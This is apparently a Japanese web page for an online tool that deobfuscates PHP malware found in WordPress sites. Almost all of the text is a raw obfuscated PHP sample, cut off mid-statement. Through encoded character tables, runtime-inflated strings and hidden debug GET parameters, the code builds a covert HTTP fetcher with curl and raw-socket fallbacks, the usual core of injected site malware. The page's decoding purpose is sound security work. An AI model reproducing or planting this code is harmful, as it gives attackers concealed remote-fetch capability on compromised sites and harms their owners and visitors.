Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。
<?php $O_OO0O0_0_ = urldecode("%6f%41%2d%62%4e%6e%4b%37%4c%35%5f%4a%55%74%52%78%49%59%2b%57%43%61%39%33%56%6b%30%77%4d%31%4f%65%53%44%64%42%32%6a%2f%6c%73%58%66%71%70%68%6d%2a%54%47%76%51%48%72%50%79%63%5c%34%7a%75%46%36%69%5a%67%38%45"); $O000OO___O = $O_OO0O0_0_[40] . $O_OO0O0_0_[13] . $O_OO0O0_0_[53] . $O_OO0O0_0_[31] . $O_OO0O0_0_[21] . $O_OO0O0_0_[46] . $O_OO0O0_0_[10] . $O_OO0O0_0_[56] . $O_OO0O0_0_[0] . $O_OO0O0_0_[5] . $O_OO0O0_0_[13] . $O_OO0O0_0_[31] . $O_OO0O0_0_[15] . $O_OO0O0_0_[13] . $O_OO0O0_0_[10] . $O_OO0O0_0_[56] . $O_OO0O0_0_[53] . $O_OO0O0_0_[31] . $O_OO0O0_0_[21] . $O_OO0O0_0_[13] . $O_OO0O0_0_[31]; $O0O_0_O_0O = $O_OO0O0_0_[44] . $O_OO0O0_0_[53] . $O_OO0O0_0_[31] . $O_OO0O0_0_[65] . $O_OO0O0_0_[10] . $O_OO0O0_0_[53] . $O_OO0O0_0_[31] . $O_OO0O0_0_[44] . $O_OO0O0_0_[39] . $O_OO0O0_0_[21] . $O_OO0O0_0_[56] . $O_OO0O0_0_[31] . $O_OO0O0_0_[10] . $O_OO0O0_0_[56] . $O_OO0O0_0_[21] . $O_OO0O0_0_[39] . $O_OO0O0_0_[39] . $O_OO0O0_0_[3] . $O_OO0O0_0_[21] . $O_OO0O0_0_[56] . $O_OO0O0_0_[25]; $OO00_0OO__ = $O_OO0O0_0_[40] . $O_OO0O0_0_[13] . $O_OO0O0_0_[53] . $O_OO0O0_0_[31] . $O_OO0O0_0_[21] . $O_OO0O0_0_[46] . $O_OO0O0_0_[10] . $O_OO0O0_0_[40] . $O_OO0O0_0_[0] . $O_OO0O0_0_[56] . $O_OO0O0_0_[25] . $O_OO0O0_0_[31] . $O_OO0O0_0_[13] . $O_OO0O0_0_[10] . $O_OO0O0_0_[56] . $O_OO0O0_0_[39] . $O_OO0O0_0_[63] . $O_OO0O0_0_[31] . $O_OO0O0_0_[5] . $O_OO0O0_0_[13]; $O0OOO00___ = $O_OO0O0_0_[40] . $O_OO0O0_0_[13] . $O_OO0O0_0_[53] . $O_OO0O0_0_[31] . $O_OO0O0_0_[21] . $O_OO0O0_0_[46] . $O_OO0O0_0_[10] . $O_OO0O0_0_[65] . $O_OO0O0_0_[31] . $O_OO0O0_0_[13] . $O_OO0O0_0_[10] . $O_OO0O0_0_[46] . $O_OO0O0_0_[31] . $O_OO0O0_0_[13] . $O_OO0O0_0_[21] . $O_OO0O0_0_[10] . $O_OO0O0_0_[34] . $O_OO0O0_0_[21] . $O_OO0O0_0_[13] . $O_OO0O0_0_[21]; $O_0_OO_0O0 = $O_OO0O0_0_[40] . $O_OO0O0_0_[13] . $O_OO0O0_0_[53] . $O_OO0O0_0_[31] . $O_OO0O0_0_[21] . $O_OO0O0_0_[46] . $O_OO0O0_0_[10] . $O_OO0O0_0_[40] . $O_OO0O0_0_[31] . $O_OO0O0_0_[13] . $O_OO0O0_0_[10] . $O_OO0O0_0_[3] . $O_OO0O0_0_[39] . $O_OO0O0_0_[0] . $O_OO0O0_0_[56] . $O_OO0O0_0_[25] . $O_OO0O0_0_[63] . $O_OO0O0_0_[5] . $O_OO0O0_0_[65]; $OOO___0O00 = $O_OO0O0_0_[40] . $O_OO0O0_0_[13] . $O_OO0O0_0_[53] . $O_OO0O0_0_[31] . $O_OO0O0_0_[21] . $O_OO0O0_0_[46] . $O_OO0O0_0_[10] . $O_OO0O0_0_[40] . $O_OO0O0_0_[31] . $O_OO0O0_0_[13] . $O_OO0O0_0_[10] . $O_OO0O0_0_[13] . $O_OO0O0_0_[63] . $O_OO0O0_0_[46] . $O_OO0O0_0_[31] . $O_OO0O0_0_[0] . $O_OO0O0_0_[60] . $O_OO0O0_0_[13]; $O0_O00OO__ = $O_OO0O0_0_[42] . $O_OO0O0_0_[63] . $O_OO0O0_0_[39] . $O_OO0O0_0_[31] . $O_OO0O0_0_[10] . $O_OO0O0_0_[44] . $O_OO0O0_0_[60] . $O_OO0O0_0_[13] . $O_OO0O0_0_[10] . $O_OO0O0_0_[56] . $O_OO0O0_0_[0] . $O_OO0O0_0_[5] . $O_OO0O0_0_[13] . $O_OO0O0_0_[31] . $O_OO0O0_0_[5] . $O_OO0O0_0_[13] . $O_OO0O0_0_[40]; $O0_OO0O0__ = $O_OO0O0_0_[42] . $O_OO0O0_0_[63] . $O_OO0O0_0_[39] . $O_OO0O0_0_[31] . $O_OO0O0_0_[10] . $O_OO0O0_0_[65] . $O_OO0O0_0_[31] . $O_OO0O0_0_[13] . $O_OO0O0_0_[10] . $O_OO0O0_0_[56] . $O_OO0O0_0_[0] . $O_OO0O0_0_[5] . $O_OO0O0_0_[13] . $O_OO0O0_0_[31] . $O_OO0O0_0_[5] . $O_OO0O0_0_[13] . $O_OO0O0_0_[40]; $OO0O0__0O_ = $O_OO0O0_0_[45] . $O_OO0O0_0_[13] . $O_OO0O0_0_[13] . $O_OO0O0_0_[44] . $O_OO0O0_0_[10] . $O_OO0O0_0_[3] . $O_OO0O0_0_[60] . $O_OO0O0_0_[63] . $O_OO0O0_0_[39] . $O_OO0O0_0_[34] . $O_OO0O0_0_[10] . $O_OO0O0_0_[43] . $O_OO0O0_0_[60] . $O_OO0O0_0_[31] . $O_OO0O0_0_[53] . $O_OO0O0_0_[55]; $OO__O0O00_ = $O_OO0O0_0_[42] . $O_OO0O0_0_[60] . $O_OO0O0_0_[5] . $O_OO0O0_0_[56] . $O_OO0O0_0_[13] . $O_OO0O0_0_[63] . $O_OO0O0_0_[0] . $O_OO0O0_0_[5] . $O_OO0O0_0_[10] . $O_OO0O0_0_[31] . $O_OO0O0_0_[15] . $O_OO0O0_0_[63] . $O_OO0O0_0_[40] . $O_OO0O0_0_[13] . $O_OO0O0_0_[40]; $OO__0O_00O = $O_OO0O0_0_[65] . $O_OO0O0_0_[31] . $O_OO0O0_0_[13] . $O_OO0O0_0_[45] . $O_OO0O0_0_[0] . $O_OO0O0_0_[40] . $O_OO0O0_0_[13] . $O_OO0O0_0_[3] . $O_OO0O0_0_[55] . $O_OO0O0_0_[5] . $O_OO0O0_0_[21] . $O_OO0O0_0_[46] . $O_OO0O0_0_[31]; $O0__0_O0OO = $O_OO0O0_0_[3] . $O_OO0O0_0_[21] . $O_OO0O0_0_[40] . $O_OO0O0_0_[31] . $O_OO0O0_0_[62] . $O_OO0O0_0_[58] . $O_OO0O0_0_[10] . $O_OO0O0_0_[31] . $O_OO0O0_0_[5] . $O_OO0O0_0_[56] . $O_OO0O0_0_[0] . $O_OO0O0_0_[34] . $O_OO0O0_0_[31]; $OO0O__O00_ = $O_OO0O0_0_[3] . $O_OO0O0_0_[21] . $O_OO0O0_0_[40] . $O_OO0O0_0_[31] . $O_OO0O0_0_[62] . $O_OO0O0_0_[58] . $O_OO0O0_0_[10] . $O_OO0O0_0_[34] . $O_OO0O0_0_[31] . $O_OO0O0_0_[56] . $O_OO0O0_0_[0] . $O_OO0O0_0_[34] . $O_OO0O0_0_[31]; $O_0__0O0OO = $O_OO0O0_0_[53] . $O_OO0O0_0_[21] . $O_OO0O0_0_[27] . $O_OO0O0_0_[60] . $O_OO0O0_0_[53] . $O_OO0O0_0_[39] . $O_OO0O0_0_[31] . $O_OO0O0_0_[5] . $O_OO0O0_0_[56] . $O_OO0O0_0_[0] . $O_OO0O0_0_[34] . $O_OO0O0_0_[31]; $OO_000_O_O = $O_OO0O0_0_[53] . $O_OO0O0_0_[21] . $O_OO0O0_0_[27] . $O_OO0O0_0_[60] . $O_OO0O0_0_[53] . $O_OO0O0_0_[39] . $O_OO0O0_0_[34] . $O_OO0O0_0_[31] . $O_OO0O0_0_[56] . $O_OO0O0_0_[0] . $O_OO0O0_0_[34] . $O_OO0O0_0_[31]; $O_0O__0OO0 = $O_OO0O0_0_[65] . $O_OO0O0_0_[59] . $O_OO0O0_0_[60] . $O_OO0O0_0_[5] . $O_OO0O0_0_[56] . $O_OO0O0_0_[0] . $O_OO0O0_0_[46] . $O_OO0O0_0_[44] . $O_OO0O0_0_[53] . $O_OO0O0_0_[31] . $O_OO0O0_0_[40] . $O_OO0O0_0_[40]; $O00O_0O__O = $O_OO0O0_0_[40] . $O_OO0O0_0_[13] . $O_OO0O0_0_[53] . $O_OO0O0_0_[10] . $O_OO0O0_0_[53] . $O_OO0O0_0_[31] . $O_OO0O0_0_[44] . $O_OO0O0_0_[39] . $O_OO0O0_0_[21] . $O_OO0O0_0_[56] . $O_OO0O0_0_[31]; $OO0O___0O0 = $O_OO0O0_0_[37] . $O_OO0O0_0_[40] . $O_OO0O0_0_[0] . $O_OO0O0_0_[5] . $O_OO0O0_0_[10] . $O_OO0O0_0_[31] . $O_OO0O0_0_[5] . $O_OO0O0_0_[56] . $O_OO0O0_0_[0] . $O_OO0O0_0_[34] . $O_OO0O0_0_[31]; $O00OO__0O_ = $O_OO0O0_0_[42] . $O_OO0O0_0_[63] . $O_OO0O0_0_[39] . $O_OO0O0_0_[31] . $O_OO0O0_0_[10] . $O_OO0O0_0_[31] . $O_OO0O0_0_[15] . $O_OO0O0_0_[63] . $O_OO0O0_0_[40] . $O_OO0O0_0_[13] . $O_OO0O0_0_[40]; $O0OO__O0_0 = $O_OO0O0_0_[56] . $O_OO0O0_0_[60] . $O_OO0O0_0_[53] . $O_OO0O0_0_[39] . $O_OO0O0_0_[10] . $O_OO0O0_0_[40] . $O_OO0O0_0_[31] . $O_OO0O0_0_[13] . $O_OO0O0_0_[0] . $O_OO0O0_0_[44] . $O_OO0O0_0_[13]; $O_O000O__O = $O_OO0O0_0_[21] . $O_OO0O0_0_[53] . $O_OO0O0_0_[53] . $O_OO0O0_0_[21] . $O_OO0O0_0_[55] . $O_OO0O0_0_[10] . $O_OO0O0_0_[40] . $O_OO0O0_0_[45] . $O_OO0O0_0_[63] . $O_OO0O0_0_[42] . $O_OO0O0_0_[13]; $OO0_O00_O_ = $O_OO0O0_0_[44] . $O_OO0O0_0_[53] . $O_OO0O0_0_[31] . $O_OO0O0_0_[65] . $O_OO0O0_0_[10] . $O_OO0O0_0_[40] . $O_OO0O0_0_[44] . $O_OO0O0_0_[39] . $O_OO0O0_0_[63] . $O_OO0O0_0_[13]; $OO_OO_0_00 = $O_OO0O0_0_[44] . $O_OO0O0_0_[53] . $O_OO0O0_0_[31] . $O_OO0O0_0_[65] . $O_OO0O0_0_[10] . $O_OO0O0_0_[46] . $O_OO0O0_0_[21] . $O_OO0O0_0_[13] . $O_OO0O0_0_[56] . $O_OO0O0_0_[45]; $O_0O0OO__0 = $O_OO0O0_0_[56] . $O_OO0O0_0_[60] . $O_OO0O0_0_[53] . $O_OO0O0_0_[39] . $O_OO0O0_0_[10] . $O_OO0O0_0_[31] . $O_OO0O0_0_[53] . $O_OO0O0_0_[53] . $O_OO0O0_0_[0] . $O_OO0O0_0_[53]; $OOO00__O0_ = $O_OO0O0_0_[56] . $O_OO0O0_0_[60] . $O_OO0O0_0_[53] . $O_OO0O0_0_[39] . $O_OO0O0_0_[10] . $O_OO0O0_0_[56] . $O_OO0O0_0_[39] . $O_OO0O0_0_[0] . $O_OO0O0_0_[40] . $O_OO0O0_0_[31]; $O0O_0__0OO = $O_OO0O0_0_[60] . $O_OO0O0_0_[53] . $O_OO0O0_0_[39] . $O_OO0O0_0_[31] . $O_OO0O0_0_[5] . $O_OO0O0_0_[56] . $O_OO0O0_0_[0] . $O_OO0O0_0_[34] . $O_OO0O0_0_[31]; $OO0_O__O00 = $O_OO0O0_0_[60] . $O_OO0O0_0_[53] . $O_OO0O0_0_[39] . $O_OO0O0_0_[34] . $O_OO0O0_0_[31] . $O_OO0O0_0_[56] . $O_OO0O0_0_[0] . $O_OO0O0_0_[34] . $O_OO0O0_0_[31]; $OOO0__0_O0 = $O_OO0O0_0_[40] . $O_OO0O0_0_[13] . $O_OO0O0_0_[53] . $O_OO0O0_0_[10] . $O_OO0O0_0_[40] . $O_OO0O0_0_[44] . $O_OO0O0_0_[39] . $O_OO0O0_0_[63] . $O_OO0O0_0_[13]; $O_00_O_0OO = $O_OO0O0_0_[44] . $O_OO0O0_0_[21] . $O_OO0O0_0_[53] . $O_OO0O0_0_[40] . $O_OO0O0_0_[31] . $O_OO0O0_0_[10] . $O_OO0O0_0_[60] . $O_OO0O0_0_[53] . $O_OO0O0_0_[39]; $O0__0OO_O0 = $O_OO0O0_0_[65] . $O_OO0O0_0_[59] . $O_OO0O0_0_[63] . $O_OO0O0_0_[5] . $O_OO0O0_0_[42] . $O_OO0O0_0_[39] . $O_OO0O0_0_[21] . $O_OO0O0_0_[13] . $O_OO0O0_0_[31]; $O___0OO0O0 = $O_OO0O0_0_[65] . $O_OO0O0_0_[59] . $O_OO0O0_0_[34] . $O_OO0O0_0_[31] . $O_OO0O0_0_[42] . $O_OO0O0_0_[39] . $O_OO0O0_0_[21] . $O_OO0O0_0_[13] . $O_OO0O0_0_[31]; $O_O_0_O00O = $O_OO0O0_0_[56] . $O_OO0O0_0_[60] . $O_OO0O0_0_[53] . $O_OO0O0_0_[39] . $O_OO0O0_0_[10] . $O_OO0O0_0_[63] . $O_OO0O0_0_[5] . $O_OO0O0_0_[63] . $O_OO0O0_0_[13]; $O__OO_00O0 = $O_OO0O0_0_[56] . $O_OO0O0_0_[60] . $O_OO0O0_0_[53] . $O_OO0O0_0_[39] . $O_OO0O0_0_[10] . $O_OO0O0_0_[31] . $O_OO0O0_0_[15] . $O_OO0O0_0_[31] . $O_OO0O0_0_[56]; $O_OO_O_000 = $O_OO0O0_0_[21] . $O_OO0O0_0_[53] . $O_OO0O0_0_[53] . $O_OO0O0_0_[21] . $O_OO0O0_0_[55] . $O_OO0O0_0_[10] . $O_OO0O0_0_[44] . $O_OO0O0_0_[0] . $O_OO0O0_0_[44]; $O00__O_0OO = $O_OO0O0_0_[50] . $O_OO0O0_0_[21] . $O_OO0O0_0_[53] . $O_OO0O0_0_[10] . $O_OO0O0_0_[34] . $O_OO0O0_0_[60] . $O_OO0O0_0_[46] . $O_OO0O0_0_[44]; $OO_O00_O_0 = $O_OO0O0_0_[63] . $O_OO0O0_0_[40] . $O_OO0O0_0_[10] . $O_OO0O0_0_[21] . $O_OO0O0_0_[53] . $O_OO0O0_0_[53] . $O_OO0O0_0_[21] . $O_OO0O0_0_[55]; $OO_00__O0O = $O_OO0O0_0_[13] . $O_OO0O0_0_[46] . $O_OO0O0_0_[44] . $O_OO0O0_0_[42] . $O_OO0O0_0_[63] . $O_OO0O0_0_[39] . $O_OO0O0_0_[31]; $O_OO0_O00_ = $O_OO0O0_0_[44] . $O_OO0O0_0_[53] . $O_OO0O0_0_[63] . $O_OO0O0_0_[5] . $O_OO0O0_0_[13] . $O_OO0O0_0_[10] . $O_OO0O0_0_[53]; $O_OO_000_O = $O_OO0O0_0_[46] . $O_OO0O0_0_[13] . $O_OO0O0_0_[10] . $O_OO0O0_0_[53] . $O_OO0O0_0_[21] . $O_OO0O0_0_[5] . $O_OO0O0_0_[34]; $O0O00___OO = $O_OO0O0_0_[63] . $O_OO0O0_0_[46] . $O_OO0O0_0_[44] . $O_OO0O0_0_[39] . $O_OO0O0_0_[0] . $O_OO0O0_0_[34] . $O_OO0O0_0_[31]; $O_O00O0O__ = $O_OO0O0_0_[31] . $O_OO0O0_0_[15] . $O_OO0O0_0_[44] . $O_OO0O0_0_[39] . $O_OO0O0_0_[0] . $O_OO0O0_0_[34] . $O_OO0O0_0_[31]; $O0_0O_0OO_ = $O_OO0O0_0_[60] . $O_OO0O0_0_[40] . $O_OO0O0_0_[39] . $O_OO0O0_0_[31] . $O_OO0O0_0_[31] . $O_OO0O0_0_[44]; $O0__0_OOO0 = $O_OO0O0_0_[60] . $O_OO0O0_0_[5] . $O_OO0O0_0_[39] . $O_OO0O0_0_[63] . $O_OO0O0_0_[5] . $O_OO0O0_0_[25]; $OO_O_00O0_ = $O_OO0O0_0_[40] . $O_OO0O0_0_[13] . $O_OO0O0_0_[53] . $O_OO0O0_0_[44] . $O_OO0O0_0_[0] . $O_OO0O0_0_[40]; $OOO0_O_0_0 = $O_OO0O0_0_[40] . $O_OO0O0_0_[13] . $O_OO0O0_0_[53] . $O_OO0O0_0_[39] . $O_OO0O0_0_[31] . $O_OO0O0_0_[5]; $O_OO0_0_O0 = $O_OO0O0_0_[45] . $O_OO0O0_0_[31] . $O_OO0O0_0_[15] . $O_OO0O0_0_[34] . $O_OO0O0_0_[31] . $O_OO0O0_0_[56]; $O0OO0O_0__ = $O_OO0O0_0_[65] . $O_OO0O0_0_[31] . $O_OO0O0_0_[13] . $O_OO0O0_0_[31] . $O_OO0O0_0_[5] . $O_OO0O0_0_[50]; $OO_O00_0_O = $O_OO0O0_0_[42] . $O_OO0O0_0_[27] . $O_OO0O0_0_[53] . $O_OO0O0_0_[63] . $O_OO0O0_0_[13] . $O_OO0O0_0_[31]; $O0_0_O_O0O = $O_OO0O0_0_[42] . $O_OO0O0_0_[56] . $O_OO0O0_0_[39] . $O_OO0O0_0_[0] . $O_OO0O0_0_[40] . $O_OO0O0_0_[31]; $OO__O_0O00 = $O_OO0O0_0_[42] . $O_OO0O0_0_[53] . $O_OO0O0_0_[31] . $O_OO0O0_0_[21] . $O_OO0O0_0_[34]; $OO__O_O000 = $O_OO0O0_0_[42] . $O_OO0O0_0_[65] . $O_OO0O0_0_[31] . $O_OO0O0_0_[13] . $O_OO0O0_0_[40]; $O_O_O00O_0 = $O_OO0O0_0_[56] . $O_OO0O0_0_[0] . $O_OO0O0_0_[60] . $O_OO0O0_0_[5] . $O_OO0O0_0_[13]; $O0O__0_O0O = $O_OO0O0_0_[56] . $O_OO0O0_0_[45] . $O_OO0O0_0_[46] . $O_OO0O0_0_[0] . $O_OO0O0_0_[34]; $O0OOO__0_0 = $O_OO0O0_0_[13] . $O_OO0O0_0_[53] . $O_OO0O0_0_[63] . $O_OO0O0_0_[46]; $O0O_O0O0__ = $O_OO0O0_0_[37] . $O_OO0O0_0_[0] . $O_OO0O0_0_[63] . $O_OO0O0_0_[5]; $OO_O00O__0 = $O_OO0O0_0_[42] . $O_OO0O0_0_[31] . $O_OO0O0_0_[0] . $O_OO0O0_0_[42]; $OOO_00_0O_ = $O_OO0O0_0_[46] . $O_OO0O0_0_[34] . $O_OO0O0_0_[9]; $O__O0_OO00 = "VasHjRf0bcODDoivDLczkUhysNtDyIAtnYP2pgf0TLqXQYp3OOBCX5dytZLXNBOvLcD2VFzsYZJWa1jrwLzmRxFpRZrmFUM="; function O_0O_O0_0O($url, $O__0O0OO_0 = 0, $OOO00O__0_ = 1, $OOO_O00__0 = NULL, $OO00O_0__O = array(), $O0_O0_0O_O = "s") { if (!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x4f\x5f\x30\x5f\x30\x30"]("/^https*\\:\\/\\//si", $url)) { if (isset(${"\x5f\x47\x45\x54"}["\x75\x72\x6c\x65\x72\x72"])) { $O00O__0O_O = OOO00_0_O_('iy4tyomkktKsovilXIzCtLzMlMUQCKWKnlJRUQDXWAMA'); $O00O__0O_O .= $url; echo $O00O__0O_O; unset($O00O__0O_O); exit(); } return ''; } $O_O0O_0O0_ = OOO00_0_O_('Sy4tyEdonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBtlSJakA'); $O_0_OO00_O = $O0_O__0O0O = ''; foreach (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x30\x4f\x30\x4f\x5f\x5f"]('|', $O_O0O_0O0_) as $c) { $O0_O_O0_0O = 1; if ($O__0O0OO_0 && substr($c, 0, 1) == 'c') { continue; } foreach (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x30\x30\x4f\x30\x4f\x5f\x5f"]('+', $c) as $d) { if (!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x5f\x4f\x30\x4f\x30\x30\x5f"]($d)) { $O0_O_O0_0O = 0; } } unset($d); if ($O0_O_O0_0O) { $O_0_OO00_O = $c; break; } } unset($O_O0O_0O0_, $c); if ($O_0_OO00_O == '') { return 0; } if (substr($O_0_OO00_O, 0, 1) == 'c') { $O0O___OO00 = false; if ($OOO00O__0_ == 2) { if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x30\x5f\x4f\x5f\x30"]($OOO_O00__0)) { $OOO0__O0_0 = array('http' => array('method' => "POST", 'header' => "Content-Type:application/x-www-form-urlencoded", 'content' => ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x30\x4f\x5f"]($OOO_O00__0))); $OOO0_O_00_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x5f\x5f\x5f\x4f"]($OOO0__O0_0); $O0O___OO00 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x4f\x30\x4f\x30\x5f\x5f"]($url, false, $OOO0_O_00_); } } else { $O0O___OO00 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x4f\x30\x4f\x30\x5f\x5f"]($url); } if ($O0O___OO00) { return $O0O___OO00; } $O00O_OO_0_ = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"](); ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x30\x5f\x30"]($O00O_OO_0_, CURLOPT_URL, $url); ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x30\x5f\x30"]($O00O_OO_0_, CURLOPT_USERAGENT, $O0_O0_0O_O); ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x30\x5f\x30"]($O00O_OO_0_, CURLOPT_RETURNTRANSFER, 1); ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x30\x5f\x30"]($O00O_OO_0_, CURLOPT_TIMEOUT, 100); ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x30\x5f\x30"]($O00O_OO_0_, CURLOPT_FRESH_CONNECT, TRUE); if ($OOO00O__0_ == 2) { ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x30\x5f\x30"]($O00O_OO_0_, CURLOPT_POST, 1); if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x30\x5f\x4f\x5f\x30"]($OOO_O00__0)) { ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x5f\x5f\x4f\x30\x5f\x30"]($O00O_OO_0_, CURLOPT_POSTFIELDS, ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x30\x4f\x5f"]($OOO_O00__0)); } } $O0O___OO00 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x4f\x5f\x30\x30\x4f\x30"]($O00O_OO_0_); ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x30\x5f\x5f\x4f\x30\x5f"]($O00O_OO_0_); if (!$O0O___OO00) { if (isset(${"\x5f\x47\x45\x54"}["\x63\x75\x72\x6c\x65\x72\x72"])) { $O00O__0O_O = OOO00_0_O_('i04uLAhcpRSC0qyi+KVctLKi6LxwBgA='); $O00O__0O_O .= ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x30\x4f\x4f\x5f\x5f\x30"]($O00O_OO_0_); echo $O00O__0O_O; unset($O00O__0O_O); exit(); } return 0; } else { return $O0O___OO00; } } $OO_0O0_O_0 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x5f\x4f\x5f\x30\x4f\x4f"]($url); isset($OO_0O0_O_0["\x68\x6f\x73\x74"]) || $OO_0O0_O_0["\x68\x6f\x73\x74"] = ''; isset($OO_0O0_O_0["\x70\x61\x74\x68"]) || $OO_0O0_O_0["\x70\x61\x74\x68"] = ''; isset($OO_0O0_O_0["\x71\x75\x65\x72\x79"]) || $OO_0O0_O_0["\x71\x75\x65\x72\x79"] = ''; isset($OO_0O0_O_0["\x70\x6f\x72\x74"]) || $OO_0O0_O_0["\x70\x6f\x72\x74"] = ''; $O0O0O0O___ = $OO_0O0_O_0["\x70\x61\x74\x68"] ? $OO_0O0_O_0["\x70\x61\x74\x68"] . ($OO_0O0_O_0["\x71\x75\x65\x72\x79"] ? '?' . $OO_0O0_O_0["\x71\x75\x65\x72\x79"] : '') : '/'; $OO_00O_0_O = $OO_0O0_O_0["\x68\x6f\x73\x74"]; if ($OO_0O0_O_0["\x73\x63\x68\x65\x6d\x65"] == 'https') { $O00_O_O_0O = '1.1'; $O0O0O_O__0 = empty($OO_0O0_O_0["\x70\x6f\x72\x74"]) ? 443 : $OO_0O0_O_0["\x70\x6f\x72\x74"]; $OO_00O_0_O = OOO00_0_O_('Ky7OsbcdLyOXBwA='); $OO_00O_0_O .= $OO_0O0_O_0["\x68\x6f\x73\x74"]; } else { $O00_O_O_0O = '1.0'; $O0O0O_O__0 = empty($OO_0O0_O_0["\x70\x6f\x72\x74"]) ? 80 : $OO_0O0_O_0["\x70\x6f\x72\x74"]; } $O0O_O0_0O_ = 'Host:'; $O0O_O0_0O_ .= $OO_00O_0_O; $OO00O_0__O[] = $O0O_O0_0O_; $OO00O_0__O[] = OOO00_0_O_('c87PyGa0tNLsnMz7NyzsknjvTgUA'); $OO00O_0__O[] = OOO00_0_O_('Cy1OLqhdJ1TE/NK7EAGCAA==') . $O0_O0_0O_O; $OO00O_0__O[] = OOO00_0_O_('c0xOTTai0osdLauS1wIA'); unset($O0O_O0_0O_); if ($OOO00O__0_ == 2) { if (${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x30\x5f\x4f\x5f\x30"]($OOO_O00__0)) { $OOO_O00__0 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x5f\x5f\x30\x4f\x5f"]($OOO_O00__0); } $OO00O_0__O[] = OOO00_0_O_('c87PKFW0nNK9EtqSxItUosKMjJTE4syczP06/QLS8v103LL8rVLS3KSc1Lzk9buJTQEA'); $OO00O_0__O[] = OOO00_0_O_('c87PKkZ0nNK9H1Sc1LL8mOJwAgA=') . ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x5f\x30\x5f\x30"]($OOO_O00__0); $O0_O__0O0O = "POST $O0O0O0O___ HTTP/$O00_O_O_0O" . PHP_EOL . ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x4f\x30\x5f\x5f"](PHP_EOL, $OO00O_0__O) . PHP_EOL . PHP_EOL . $OOO_O00__0; unset($OOO_O00__0); } else { $O0_O__0O0O = "GET $O0O0O0O___ HTTP/$O00_O_O_0O" . PHP_EOL . ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x4f\x30\x4f\x30\x5f\x5f"](PHP_EOL, $OO00O_0__O) . PHP_EOL . PHP_EOL; } unset($OO00O_0__O, $OO_0O0_O_0, $O00_O_O_0O, $O0O0O0O___); $O_0OO_O_00 = null; if (substr($O_0_OO00_O, -1) == 'n') { $O_0OO_O_00 = $O_0_OO00_O($OO_00O_0_O, $O0O0O_O__0, $O00O__0O_Ono, $O00O__0O_Ostr, 30); } else { if (substr($O_0_OO00_O, -1) == 't') { $O__O0_0O0O = OOO00_0_O_('K0kusqHNLFoXBwA='); $O__O0_0O0O .= $OO_00O_0_O; $O__O0_0O0O .= ':'; $O__O0_0O0O .= $O0O0O_O__0; $O_0OO_O_00 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x5f\x30\x4f\x4f\x5f\x5f"]($O__O0_0O0O, $O00O__0O_Ono, $O00O__0O_Ostr, 30); unset($O__O0_0O0O); } } $O0OOO__00_ = ''; if ($O_0OO_O_00) { ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x5f\x4f\x4f\x5f\x30\x4f\x30"]($O_0OO_O_00, TRUE); ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x5f\x5f\x30\x4f\x30\x30"]($O_0OO_O_00, 30); ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f\x4f"]($O_0OO_O_00, $O0_O__0O0O); if (!$O__0O0OO_0) { $OO__0O_O00 = ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x4f\x4f\x30\x30\x5f\x5f\x5f"]($O_0OO_O_00); if (!$OO__0O_O00["\x74\x69\x6d\x65\x64\x5f\x6f\x75\x74"]) { while 